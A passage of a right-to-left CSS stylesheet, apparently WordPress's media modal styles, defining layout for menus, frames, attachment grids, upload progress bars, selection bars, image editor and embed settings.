	display: block;
	margin: 0;
	padding: 0;
}

.compat-item .label {
	min-width: 30%;
	margin-left: 4%;
	float: right;
	text-align: left;
}

.compat-item .label span {
	display: block;
	width: 100%;
}

.compat-item .field {
	float: left;
	width: 65%;
	margin: 1px;
}

.compat-item .field input[type="text"],
.compat-item .field input[type="password"],
.compat-item .field input[type="email"],
.compat-item .field input[type="number"],
.compat-item .field input[type="search"],
.compat-item .field input[type="tel"],
.compat-item .field input[type="url"],
.compat-item .field textarea {
	width: 100%;
	margin: 0;
	box-sizing: border-box;
}

.sidebar-for-errors .attachment-details,
.sidebar-for-errors .compat-item,
.sidebar-for-errors .media-sidebar .media-progress-bar,
.sidebar-for-errors .upload-details {
	display: none !important;
}

/**
 * Menu
 */
.media-menu {
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	margin: 0;
	padding: 50px 0 10px;
	background: #f6f7f7;
	border-left-width: 1px;
	border-left-style: solid;
	border-left-color: #c3c4c7;
	-webkit-user-select: none;
	user-select: none;
}

.media-menu .media-menu-item {
	display: block;
	box-sizing: border-box;
	width: 100%;
	position: relative;
	border: 0;
	margin: 0;
	padding: 8px 20px;
	font-size: 14px;
	line-height: 1.28571428;
	background: transparent;
	color: #2271b1;
	text-align: right;
	text-decoration: none;
	cursor: pointer;
}

.media-menu .media-menu-item:hover {
	background: rgba(0, 0, 0, 0.04);
}

.media-menu .media-menu-item:active {
	color: #2271b1;
	outline: none;
}

.media-menu .active,
.media-menu .active:hover {
	color: #1d2327;
	font-weight: 600;
}

.media-menu .media-menu-item:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-menu .separator {
	height: 0;
	margin: 12px 20px;
	padding: 0;
	border-top: 1px solid #dcdcde;
}

/**
 * Menu
 */
.media-router {
	position: relative;
	padding: 0 6px;
	margin: 0;
	clear: both;
}

.media-router .media-menu-item {
	position: relative;
	float: right;
	border: 0;
	margin: 0;
	padding: 8px 10px 9px;
	height: 18px;
	line-height: 1.28571428;
	font-size: 14px;
	text-decoration: none;
	background: transparent;
	cursor: pointer;
	transition: none;
}

.media-router .media-menu-item:last-child {
	border-left: 0;
}

.media-router .media-menu-item:hover,
.media-router .media-menu-item:active {
	color: #2271b1;
}

.media-router .active,
.media-router .active:hover {
	color: #1d2327;
}

.media-router .media-menu-item:focus {
	box-shadow: 0 0 0 2px #2271b1;
	color: #043959;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.media-router .active,
.media-router .media-menu-item.active:last-child {
	margin: -1px -1px 0;
	background: #fff;
	border: 1px solid #dcdcde;
	border-bottom: none;
}

.media-router .active:after {
	display: none;
}

/**
 * Frame
 */
.media-frame {
	overflow: hidden;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
}

.media-frame-menu {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	width: 200px;
	z-index: 150;
}

.media-frame-title {
	position: absolute;
	top: 0;
	right: 200px;
	left: 0;
	height: 50px;
	z-index: 200;
}

.media-frame-router {
	position: absolute;
	top: 50px;
	right: 200px;
	left: 0;
	height: 36px;
	z-index: 200;
}

.media-frame-content {
	position: absolute;
	top: 84px;
	right: 200px;
	left: 0;
	bottom: 61px;
	height: auto;
	width: auto;
	margin: 0;
	overflow: auto;
	background: #fff;
	border-top: 1px solid #dcdcde;
}

.media-frame-toolbar {
	position: absolute;
	right: 200px;
	left: 0;
	z-index: 100;
	bottom: 60px;
	height: auto;
}

.media-frame.hide-menu .media-frame-title,
.media-frame.hide-menu .media-frame-router,
.media-frame.hide-menu .media-frame-toolbar,
.media-frame.hide-menu .media-frame-content {
	right: 0;
}

.media-frame.hide-toolbar .media-frame-content {
	bottom: 0;
}

.media-frame.hide-router .media-frame-content {
	top: 50px;
}

.media-frame.hide-menu .media-frame-menu,
.media-frame.hide-menu .media-frame-menu-heading,
.media-frame.hide-router .media-frame-router,
.media-frame.hide-toolbar .media-frame-toolbar {
	display: none;
}

.media-frame-title h1 {
	padding: 0 16px;
	font-size: 22px;
	line-height: 2.27272727;
	margin: 0;
}

.media-frame-menu-heading,
.media-attachments-filter-heading {
	position: absolute;
	right: 20px;
	top: 22px;
	margin: 0;
	font-size: 13px;
	line-height: 1;
	/* Above the media-frame-menu. */
	z-index: 151;
}

.media-attachments-filter-heading {
	top: 10px;
	right: 16px;
}

.mode-grid .media-attachments-filter-heading {
	top: 0;
	right: -9999px;
}

.mode-grid .media-frame-actions-heading {
	display: none;
}

.wp-core-ui .button.media-frame-menu-toggle {
	display: none;
}

.media-frame-title .suggested-dimensions {
	font-size: 14px;
	float: left;
	margin-left: 20px;
}

.media-frame-content .crop-content {
	height: 100%;
}

.options-general-php .crop-content.site-icon,
.wp-customizer:not(.mobile) .media-frame-content .crop-content.site-icon {
	margin-left: 300px;
}

.media-frame-content .crop-content .crop-image {
	display: block;
	margin: auto;
	max-width: 100%;
	max-height: 100%;
}

.media-frame-content .crop-content .upload-errors {
	position: absolute;
	width: 300px;
	top: 50%;
	right: 50%;
	margin-right: -150px;
	margin-left: -150px;
	z-index: 600000;
}

/**
 * Iframes
 */
.media-frame .media-iframe {
	overflow: hidden;
}

.media-frame .media-iframe,
.media-frame .media-iframe iframe {
	height: 100%;
	width: 100%;
	border: 0;
}

/**
 * Attachment Browser Filters
 */
.media-frame select.attachment-filters {
	margin-top: 11px;
	margin-left: 2%;
	max-width: 42%;
	max-width: calc(48% - 12px);
}

.media-frame select.attachment-filters:last-of-type {
	margin-left: 0;
}

/**
 * Search
 */
.media-frame .search {
	margin: 32px 0 0;
	padding: 4px;
	font-size: 13px;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	-webkit-appearance: none;
}

.media-toolbar-primary .search {
	max-width: 100%;
}

.media-modal .media-frame .media-search-input-label {
	position: absolute;
	right: 0;
	top: 10px;
	margin: 0;
	line-height: 1;
}

/**
 * Attachments
 */
.wp-core-ui .attachments {
	margin: 0;
	-webkit-overflow-scrolling: touch;
}

/**
 * Attachment
 */
.wp-core-ui .attachment {
	position: relative;
	float: right;
	padding: 8px;
	margin: 0;
	color: #3c434a;
	cursor: pointer;
	list-style: none;
	text-align: center;
	-webkit-user-select: none;
	user-select: none;
	width: 25%;
	box-sizing: border-box;
}

.wp-core-ui .attachment:focus,
.wp-core-ui .selected.attachment:focus,
.wp-core-ui .attachment.details:focus {
	box-shadow:
		inset 0 0 2px 3px #fff,
		inset 0 0 0 7px #4f94d4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	outline-offset: -6px;
}

.wp-core-ui .selected.attachment {
	box-shadow:
		inset 0 0 0 5px #fff,
		inset 0 0 0 7px #c3c4c7;
}

.wp-core-ui .attachment.details {
	box-shadow:
		inset 0 0 0 3px #fff,
		inset 0 0 0 7px #2271b1;
}

.wp-core-ui .attachment-preview {
	position: relative;
	box-shadow:
		inset 0 0 15px rgba(0, 0, 0, 0.1),
		inset 0 0 0 1px rgba(0, 0, 0, 0.05);
	background: #f0f0f1;
	cursor: pointer;
}

.wp-core-ui .attachment-preview:before {
	content: "";
	display: block;
	padding-top: 100%;
}

.wp-core-ui .attachment .icon {
	margin: 0 auto;
	overflow: hidden;
}

.wp-core-ui .attachment .thumbnail {
	overflow: hidden;
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
	opacity: 1;
	transition: opacity .1s;
}

.wp-core-ui .attachment .portrait img {
	max-width: 100%;
}

.wp-core-ui .attachment .landscape img {
	max-height: 100%;
}

.wp-core-ui .attachment .thumbnail:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.wp-core-ui .attachment .thumbnail img {
	top: 0;
	right: 0;
}

.wp-core-ui .attachment .thumbnail .centered {
	position: absolute;
	top: 0;
	right: 0;
	width: 100%;
	height: 100%;
	transform: translate( -50%, 50% );
}

.wp-core-ui .attachment .thumbnail .centered img {
	transform: translate( 50%, -50% );
}

.wp-core-ui .attachments-browser .attachment .thumbnail .centered img.icon {
	transform: translate( 50%, -70% );
}

.wp-core-ui .attachment .filename {
	position: absolute;
	right: 0;
	left: 0;
	bottom: 0;
	overflow: hidden;
	max-height: 100%;
	word-wrap: break-word;
	text-align: center;
	font-weight: 600;
	background: rgba(255, 255, 255, 0.8);
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
}

.wp-core-ui .attachment .filename div {
	padding: 5px 10px;
}

.wp-core-ui .attachment .thumbnail img {
	position: absolute;
}

.wp-core-ui .attachment-close {
	display: block;
	position: absolute;
	top: 5px;
	left: 5px;
	height: 22px;
	width: 22px;
	padding: 0;
	background-color: #fff;
	background-position: -96px 4px;
	border-radius: 3px;
	box-shadow: 0 0 0 1px rgba(0, 0, 0, 0.3);
	transition: none;
}

.wp-core-ui .attachment-close:hover,
.wp-core-ui .attachment-close:focus {
	background-position: -36px 4px;
}

.wp-core-ui .attachment .check {
	display: none;
	height: 24px;
	width: 24px;
	padding: 0;
	border: 0;
	position: absolute;
	z-index: 10;
	top: 0;
	left: 0;
	outline: none;
	background: #f0f0f1;
	cursor: pointer;
	box-shadow: 0 0 0 1px #fff, 0 0 0 2px rgba(0, 0, 0, 0.15);
}

.wp-core-ui .attachment .check .media-modal-icon {
	display: block;
	background-position: -1px 0;
	height: 15px;
	width: 15px;
	margin: 5px;
}

.wp-core-ui .attachment .check:hover .media-modal-icon {
	background-position: -40px 0;
}

.wp-core-ui .attachment.selected .check {
	display: block;
}

.wp-core-ui .attachment.details .check,
.wp-core-ui .attachment.selected .check:focus,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check {
	background-color: #2271b1;
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 2px #2271b1;
}

.wp-core-ui .attachment.selected .check:focus {
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .attachment.details .check .media-modal-icon,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check .media-modal-icon {
	background-position: -21px 0;
}

.wp-core-ui .attachment.details .check:hover .media-modal-icon,
.wp-core-ui .attachment.selected .check:focus .media-modal-icon,
.wp-core-ui .media-frame.mode-grid .attachment.selected .check:hover .media-modal-icon {
	background-position: -60px 0;
}

.wp-core-ui .media-frame .attachment .describe {
	position: relative;
	display: block;
	width: 100%;
	margin: 0;
	padding: 0 8px;
	font-size: 12px;
	border-radius: 0;
}

/**
 * Attachments Browser
 */
.media-frame .attachments-browser {
	position: relative;
	width: 100%;
	height: 100%;
	overflow: hidden;
}

.attachments-browser .media-toolbar {
	left: 300px;
	height: 72px;
	background: #fff;
}

.attachments-browser.hide-sidebar .media-toolbar {
	left: 0;
}

.attachments-browser .media-toolbar-primary > .media-button,
.attachments-browser .media-toolbar-primary > .media-button-group,
.attachments-browser .media-toolbar-secondary > .media-button,
.attachments-browser .media-toolbar-secondary > .media-button-group {
	margin: 10px 0;
}

.attachments-browser .attachments {
	padding: 2px 8px 8px;
}

.attachments-browser:not(.has-load-more) .attachments,
.attachments-browser.has-load-more .attachments-wrapper,
.attachments-browser .uploader-inline {
	position: absolute;
	top: 72px;
	right: 0;
	left: 300px;
	bottom: 0;
	overflow: auto;
	outline: none;
}

.attachments-browser .uploader-inline.hidden {
	display: none;
}

.attachments-browser .media-toolbar-primary {
	max-width: 33%;
}

.mode-grid .attachments-browser .media-toolbar-primary {
	display: flex;
	align-items: center;
	column-gap: .5rem;
}

.mode-grid .attachments-browser .media-toolbar-mode-select .media-toolbar-primary {
	display: none;
}

.attachments-browser .media-toolbar-secondary {
	max-width: 66%;
}

.uploader-inline .close {
	background-color: transparent;
	border: 0;
	cursor: pointer;
	height: 48px;
	outline: none;
	padding: 0;
	position: absolute;
	left: 2px;
	text-align: center;
	top: 2px;
	width: 48px;
	z-index: 1;
}

.uploader-inline .close:before {
	font: normal 30px/1 dashicons !important;
	color: #50575e;
	display: inline-block;
	content: "\f335";
	font-weight: 300;
	margin-top: 1px;
}

.uploader-inline .close:focus {
	outline: 1px solid #4f94d4;
	box-shadow: 0 0 3px rgba(34, 113, 177, 0.8);
}

.attachments-browser.hide-sidebar .attachments,
.attachments-browser.hide-sidebar .uploader-inline {
	left: 0;
	margin-left: 0;
}

.attachments-browser .instructions {
	display: inline-block;
	margin-top: 16px;
	line-height: 1.38461538;
	font-size: 13px;
	color: #646970;
}

.attachments-browser .no-media {
	padding: 2em 2em 0 0;
}

.more-loaded .attachment:not(.found-media) {
	background: #dcdcde;
}

.load-more-wrapper {
	clear: both;
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	justify-content: center;
	padding: 1em 0;
}

.load-more-wrapper .load-more-count {
	min-width: 100%;
	margin: 0 0 1em;
	text-align: center;
}

.load-more-wrapper .load-more {
	margin: 0;
}

/* Needs high specificity. */
.media-frame .load-more-wrapper .load-more + .spinner {
	float: none;
	margin: 0 10px 0 -30px;
}

/* Reset spinner margin when the button is hidden to avoid horizontal scrollbar. */
.media-frame .load-more-wrapper .load-more.hidden + .spinner {
	margin: 0;
}

/* Force a new row within the flex container. */
.load-more-wrapper::after {
	content: "";
	min-width: 100%;
	order: 1;
}

.load-more-wrapper .load-more-jump {
	margin: 0 12px 0 0;
}

.attachment.new-media {
	outline: 2px dotted #c3c4c7;
}

.load-more-wrapper {
	clear: both;
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	justify-content: center;
	padding: 1em 0;
}

.load-more-wrapper .load-more-count {
	min-width: 100%;
	margin: 0 0 1em;
	text-align: center;
}

.load-more-wrapper .load-more {
	margin: 0;
}

/* Needs high specificity. */
.media-frame .load-more-wrapper .load-more + .spinner {
	float: none;
	margin: 0 10px 0 -30px;
}

/* Reset spinner margin when the button is hidden to avoid horizontal scrollbar. */
.media-frame .load-more-wrapper .load-more.hidden + .spinner {
	margin: 0;
}

/* Force a new row within the flex container. */
.load-more-wrapper::after {
	content: "";
	min-width: 100%;
	order: 1;
}

.load-more-wrapper .load-more-jump {
	margin: 0 12px 0 0;
}

/**
 * Progress Bar
 */
.media-progress-bar {
	position: relative;
	height: 10px;
	width: 70%;
	margin: 10px auto;
	border-radius: 10px;
	background: #dcdcde;
	background: rgba(0, 0, 0, 0.1);
}

.media-progress-bar div {
	height: 10px;
	min-width: 20px;
	width: 0;
	background: #2271b1;
	border-radius: 10px;
	transition: width 300ms;
}

.media-uploader-status .media-progress-bar {
	display: none;
	width: 100%;
}

.uploading.media-uploader-status .media-progress-bar {
	display: block;
}

.attachment-preview .media-progress-bar {
	position: absolute;
	top: 50%;
	right: 15%;
	width: 70%;
	margin: -5px 0 0;
}

.media-uploader-status {
	position: relative;
	margin: 0 auto;
	padding-bottom: 10px;
	max-width: 400px;
}

.uploader-inline .media-uploader-status h2 {
	display: none;
}

.media-uploader-status .upload-details {
	display: none;
	font-size: 12px;
	color: #646970;
}

.uploading.media-uploader-status .upload-details {
	display: block;
}

.media-uploader-status .upload-detail-separator {
	padding: 0 4px;
}

.media-uploader-status .upload-count {
	color: #3c434a;
}

.media-uploader-status .upload-dismiss-errors,
.media-uploader-status .upload-errors {
	display: none;
}

.errors.media-uploader-status .upload-dismiss-errors,
.errors.media-uploader-status .upload-errors {
	display: block;
}

.media-uploader-status .upload-dismiss-errors {
	transition: none;
	text-decoration: none;
}

.upload-errors .upload-error {
	padding: 12px;
	margin-bottom: 12px;
	background: #fff;
	border-right: 4px solid #d63638;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
}

.uploader-inline .upload-errors .upload-error {
	padding: 12px 30px;
	background-color: #fcf0f1;
	box-shadow: none;
}

.upload-errors .upload-error-filename {
	font-weight: 600;
}

.upload-errors .upload-error-message {
	display: block;
	padding-top: 8px;
	word-wrap: break-word;
}

/**
 * Window and Editor uploaders used to display "drop zones"
 */
.uploader-window,
.wp-editor-wrap .uploader-editor {
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	text-align: center;
	display: none;
}

.uploader-window {
	position: fixed;
	z-index: 250000;
	opacity: 0; /* Only the inline uploader is animated with JS, the editor one isn't */
	transition: opacity 250ms;
}

.wp-editor-wrap .uploader-editor {
	position: absolute;
	z-index: 99998; /* under the toolbar */
	background: rgba(140, 143, 148, 0.9);
}

.uploader-window,
.wp-editor-wrap .uploader-editor.droppable {
	background: rgba(10, 75, 120, 0.9);
}

.uploader-window-content,
.wp-editor-wrap .uploader-editor-content {
	position: absolute;
	top: 10px;
	right: 10px;
	left: 10px;
	bottom: 10px;
	border: 1px dashed #fff;
}

/* uploader drop-zone title */
.uploader-window h1, /* Back-compat for pre-5.3 */
.uploader-window .uploader-editor-title,
.wp-editor-wrap .uploader-editor .uploader-editor-title {
	position: absolute;
	top: 50%;
	right: 0;
	left: 0;
	transform: translateY(-50%);
	font-size: 3em;
	line-height: 1.3;
	font-weight: 600;
	color: #fff;
	margin: 0;
	padding: 0 10px;
}

.wp-editor-wrap .uploader-editor .uploader-editor-title {
	display: none;
}

.wp-editor-wrap .uploader-editor.droppable .uploader-editor-title {
	display: block;
}

.uploader-window .media-progress-bar {
	margin-top: 20px;
	max-width: 300px;
	background: transparent;
	border-color: #fff;
	display: none;
}

.uploader-window .media-progress-bar div {
	background: #fff;
}

.uploading .uploader-window .media-progress-bar {
	display: block;
}

.media-frame .uploader-inline {
	margin-bottom: 20px;
	padding: 0;
	text-align: center;
}

.uploader-inline-content {
	position: absolute;
	top: 30%;
	right: 0;
	left: 0;
}

.uploader-inline-content .upload-ui {
	margin: 2em 0;
}

.uploader-inline-content .post-upload-ui {
	margin-bottom: 2em;
}

.uploader-inline .has-upload-message .upload-ui {
	margin: 0 0 4em;
}

.uploader-inline h2 {
	font-size: 20px;
	line-height: 1.4;
	font-weight: 400;
	margin: 0;
}

.uploader-inline .has-upload-message .upload-instructions {
	font-size: 14px;
	color: #3c434a;
	font-weight: 400;
}

.uploader-inline .drop-instructions {
	display: none;
}

.supports-drag-drop .uploader-inline .drop-instructions {
	display: block;
}

.uploader-inline p {
	margin: 0.5em 0;
}

.uploader-inline .media-progress-bar {
	display: none;
}

.uploading.uploader-inline .media-progress-bar {
	display: block;
}

.uploader-inline .browser {
	display: inline-block !important;
}

/**
 * Selection
 */
.media-selection {
	position: absolute;
	top: 0;
	right: 0;
	left: 350px;
	height: 60px;
	padding: 0 16px 0 0;
	overflow: hidden;
	white-space: nowrap;
}

.media-selection .selection-info {
	display: inline-block;
	font-size: 12px;
	height: 60px;
	margin-left: 10px;
	vertical-align: top;
}

.media-selection.empty,
.media-selection.editing {
	display: none;
}

.media-selection.one .edit-selection {
	display: none;
}

.media-selection .count {
	display: block;
	padding-top: 12px;
	font-size: 14px;
	line-height: 1.42857142;
	font-weight: 600;
}

.media-selection .button-link {
	float: right;
	padding: 1px 8px;
	margin: 1px -8px 1px 8px;
	line-height: 1.4;
	border-left: 1px solid #dcdcde;
	color: #2271b1;
	text-decoration: none;
}

.media-selection .button-link:hover,
.media-selection .button-link:focus {
	color: #135e96;
}

.media-selection .button-link:last-child {
	border-left: 0;
	margin-left: 0;
}

.selection-info .clear-selection {
	color: #d63638;
}

.selection-info .clear-selection:hover,
.selection-info .clear-selection:focus {
	color: #d63638;
}

.media-selection .selection-view {
	display: inline-block;
	vertical-align: top;
}

.media-selection .attachments {
	display: inline-block;
	height: 48px;
	margin: 6px;
	padding: 0;
	overflow: hidden;
	vertical-align: top;
}

.media-selection .attachment {
	width: 40px;
	padding: 0;
	margin: 4px;
}

.media-selection .attachment .thumbnail {
	top: 0;
	left: 0;
	bottom: 0;
	right: 0;
}

.media-selection .attachment .icon {
	width: 50%;
}

.media-selection .attachment-preview {
	box-shadow: none;
	background: none;
}

.wp-core-ui .media-selection .attachment:focus,
.wp-core-ui .media-selection .selected.attachment:focus,
.wp-core-ui .media-selection .attachment.details:focus {
	box-shadow:
		0 0 0 1px #fff,
		0 0 2px 3px #4f94d4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui .media-selection .selected.attachment {
	box-shadow: none;
}

.wp-core-ui .media-selection .attachment.details {
	box-shadow:
		0 0 0 1px #fff,
		0 0 0 3px #2271b1;
}

.media-selection:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	left: 0;
	bottom: 0;
	width: 25px;
	background-image: linear-gradient(to right,#fff,rgba(255, 255, 255, 0));
}

.media-selection .attachment .filename {
	display: none;
}

/**
 * Spinner
 */
.media-frame .spinner {
	background: url(../images/spinner.gif) no-repeat;
	background-size: 20px 20px;
	float: left;
	display: inline-block;
	visibility: hidden;
	opacity: 0.7;
	filter: alpha(opacity=70);
	width: 20px;
	height: 20px;
	margin: 0;
	vertical-align: middle;
}

.media-frame.mode-grid .spinner {
	margin: 0;
	float: none;
	vertical-align: middle;
}

.media-modal .media-toolbar .spinner {
	float: none;
	vertical-align: bottom;
	margin: 0 5px 5px 0;
}

.media-frame .instructions + .spinner.is-active {
	vertical-align: middle;
}

.media-frame .spinner.is-active {
	visibility: visible;
}

/**
 * Attachment Details
 */
.attachment-details {
	position: relative;
	overflow: auto;
}

.attachment-details .settings-save-status {
	float: left;
	text-transform: none;
	font-weight: 400;
}

.attachment-details .settings-save-status .spinner {
	float: none;
	margin-right: 5px;
}

.attachment-details .settings-save-status .saved {
	display: none;
}

.attachment-details.save-waiting .settings-save-status .spinner {
	visibility: visible;
}

.attachment-details.save-complete .settings-save-status .saved {
	display: inline-block;
}

.attachment-info {
	overflow: hidden;
	min-height: 60px;
	margin-bottom: 16px;
	line-height: 1.5;
	color: #646970;
	border-bottom: 1px solid #dcdcde;
	padding-bottom: 11px;
}

.attachment-info .wp-media-wrapper {
	margin-bottom: 8px;
}

.attachment-info .wp-media-wrapper.wp-audio {
	margin-top: 13px;
}

.attachment-info .filename {
	font-weight: 600;
	color: #3c434a;
	word-wrap: break-word;
}

.attachment-info .thumbnail {
	position: relative;
	float: right;
	max-width: 120px;
	max-height: 120px;
	margin-top: 5px;
	margin-left: 10px;
	margin-bottom: 5px;
}

.uploading .attachment-info .thumbnail {
	width: 120px;
	height: 80px;
	box-shadow: inset 0 0 15px rgba(0, 0, 0, 0.1);
}

.uploading .attachment-info .media-progress-bar {
	margin-top: 35px;
}

.attachment-info .thumbnail-image:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.15);
	overflow: hidden;
}

.attachment-info .thumbnail img {
	display: block;
	max-width: 120px;
	max-height: 120px;
	margin: 0 auto;
}

.attachment-info .details {
	float: right;
	font-size: 12px;
	max-width: 100%;
}

.attachment-info .edit-attachment,
.attachment-info .delete-attachment,
.attachment-info .trash-attachment,
.attachment-info .untrash-attachment {
	display: block;
	text-decoration: none;
	white-space: nowrap;
}

.attachment-details.needs-refresh .attachment-info .edit-attachment {
	display: none;
}

.attachment-info .edit-attachment {
	display: block;
}

.media-modal .delete-attachment,
.media-modal .trash-attachment,
.media-modal .untrash-attachment {
	display: inline;
	padding: 0;
	color: #d63638;
}

.media-modal .delete-attachment:hover,
.media-modal .delete-attachment:focus,
.media-modal .trash-attachment:hover,
.media-modal .trash-attachment:focus,
.media-modal .untrash-attachment:hover,
.media-modal .untrash-attachment:focus {
	color: #d63638;
}

/**
 * Attachment Display Settings
 */
.attachment-display-settings {
	width: 100%;
	float: right;
	overflow: hidden;
}

.collection-settings {
	overflow: hidden;
}

.collection-settings .setting input[type="checkbox"] {
	float: right;
	margin-left: 8px;
}

.collection-settings .setting span, /* Back-compat for pre-5.3 */
.collection-settings .setting .name {
	min-width: inherit;
}

/**
 * Image Editor
 */
.media-modal .imgedit-wrap {
	position: static;
}

.media-modal .imgedit-wrap .imgedit-panel-content {
	padding: 16px 16px 0;
	overflow: visible;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.media-modal .imgedit-wrap .imgedit-save-target {
	margin: 8px 0 24px;
}

.media-modal .imgedit-group {
	background: none;
	border: none;
	box-shadow: none;
	margin: 0;
	padding: 0;
	position: relative; /* RTL fix, #WP29352 */
}

.media-modal .imgedit-group.imgedit-panel-active {
	margin-bottom: 16px;
	padding-bottom: 16px;
}

.media-modal .imgedit-group-top {
	margin: 0;
}

.media-modal .imgedit-group-top h2,
.media-modal .imgedit-group-top h2 .button-link {
	display: inline-block;
	text-transform: uppercase;
	font-size: 12px;
	color: #646970;
	margin: 0;
	margin-top: 3px;
}

.media-modal .imgedit-group-top h2 a,
.media-modal .imgedit-group-top h2 .button-link {
	text-decoration: none;
	color: #646970;
}

/* higher specificity than media.css */
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle,
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:hover,
.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:active {
	border: 1px solid transparent;
	margin: 0;
	padding: 0;
	background: transparent;
	color: #2271b1;
	font-size: 20px;
	line-height: 1;
	cursor: pointer;
	box-sizing: content-box;
	box-shadow: none;
}

.wp-core-ui.media-modal .image-editor .imgedit-help-toggle:focus {
	color: #2271b1;
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-core-ui.media-modal .imgedit-group-top .dashicons-arrow-down.imgedit-help-toggle {
	margin-top: -3px;
}

.wp-core-ui.media-modal .image-editor h3 .imgedit-help-toggle {
	margin-top: -2px;
}

.media-modal .imgedit-help-toggled span.dashicons:before {
	content: "\f142";
}

.media-modal .imgedit-thumbnail-preview {
	margin: 10px 0 0 8px;
}

.imgedit-thumbnail-preview-caption {
	display: block;
}

.media-modal .imgedit-wrap div.updated, /* Back-compat for pre-5.5 */
.media-modal .imgedit-wrap .notice {
	margin: 0 16px;
}

/**
 * Embed from URL and Image Details
 */
.embed-url {
	display: block;
	position: relative;
	padding: 16px;
	margin: 0;
	z-index: 250;
	background: #fff;
	font-size: 18px;
}

.media-frame .embed-url input {
	font-size: 18px;
	line-height: 1.22222222; /* 22px */
	padding: 12px 14px 12px 40px; /* right padding to leave room for the spinner */
	width: 100%;
	min-width: 200px;
	box-shadow: inset -2px 2px 4px -2px rgba(0, 0, 0, 0.1);
}

.media-frame .embed-url input::-ms-clear {
	display: none; /* the "x" in IE 11 conflicts with the spinner */
}

.media-frame .embed-url .spinner {
	position: absolute;
	top: 32px;
	left: 26px;
}

.media-frame .embed-loading .embed-url .spinner {
	visibility: visible;
}

.embed-link-settings,
.embed-media-settings {
	position: absolute;
	top: 82px;
	right: 0;
	left: 0;
	bottom: 0;
	padding: 0 16px;
	overflow: auto;
}

.media-embed .embed-link-settings .link-text {
	margin-top: 0;
}

/*
 * Implementation of bottom padding in overflow content differs across browsers.
 * We need a different method. See https://github.com/w3c/csswg-drafts/issues/129
 */
.embed-link-settings::after,
.embed-media-settings::after {
	content: "";
	display: flex;
	clear: both;
	height: 24px;
}

.media-embed .embed-link-settings {
	/* avoid Firefox to give focus to the embed preview container parent */
	overflow: visible;
}

.embed-preview img,
.embed-preview iframe,
.embed-preview embed,
.mejs-container video {
	max-width: 100%;
	vertical-align: middle;
}

.embed-preview a {
	display: inline-block;
}

.embed-preview img {
	display: block;
	height: auto;
}

.mejs-container:focus {
	outline: 1px solid #2271b1;
	box-shadow: 0 0 0 2px #2271b1;
}

.image-details .media-modal {
	right: 140px;
	left: 140px;
}

.image-details .media-frame-title,
.image-details .media-frame-content,
.image-details .media-frame-router {
	right: 0;
}

.image-details .embed-media-settings {
	top: 0;
	overflow: visible;
	padding: 0;
}

.image-details .embed-media-settings::after {
	content: none;
}

.image-details .embed-media-settings,
.image-details .embed-media-settings div {
	box-sizing: border-box;
}

.image-details .column-settings {
	background: #f6f7f7;
	border-left: 1px solid #dcdcde;
	min-height: 100%;
	width: 55%;
	position: absolute;
	top: 0;
	right: 0;
}

.image-details .column-settings h2 {
	margin: 20px;
	padding-top: 20px;
	border-top: 1px solid #dcdcde;
	color: #1d2327;
}

.image-details .column-image {
	width: 45%;
	position: absolute;
	right: 55%;
	top: 0;
}

.image-details .image {
	margin: 20px;
}

.image-details .image img {
	max-width: 100%;
	max-height: 500px;
}

.image-details .advanced-toggle {
	padding: 0;
	color: #646970;
	text-transform: uppercase;
	text-decoration: none;
}

.image-details .advanced-toggle:hover,
.image-details .advanced-toggle:active {
	color: #646970;
}

.image-details .advanced-toggle:after {
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	content: "\f140";
	display: inline-block;
	margin-top: -2px;
}

.image-details .advanced-visible .advanced-toggle:after {
	content: "\f142";
}

.image-details .custom-size label, /* Back-compat for pre-5.3 */
.image-details .custom-size .custom-size-setting {
	display: block;
	float: right;
}

.image-details .custom-size .custom-size-setting label {
	float: none;
}

.image-details .custom-size input {
	width: 5em;
}

.image-details .custom-size .sep {
	float: right;
	margin: 26px 6px 0;
}

.image-details .custom-size .description {
	margin-right: 0;
}

.media-embed .thumbnail {
	max-width: 100%;
	max-height: 200px;
	position: relative;
	float: right;
}

.media-embed .thumbnail img {
	max-height: 200px;
	display: block;
}

.media-embed .thumbnail:after {
	content: "";
	display: block;
	position: absolute;
	top: 0;
	right: 0;
	left: 0;
	bottom: 0;
	box-shadow: inset 0 0 0 1px rgba(0, 0, 0, 0.1);
	overflow: hidden;
}

.media-embed .setting,
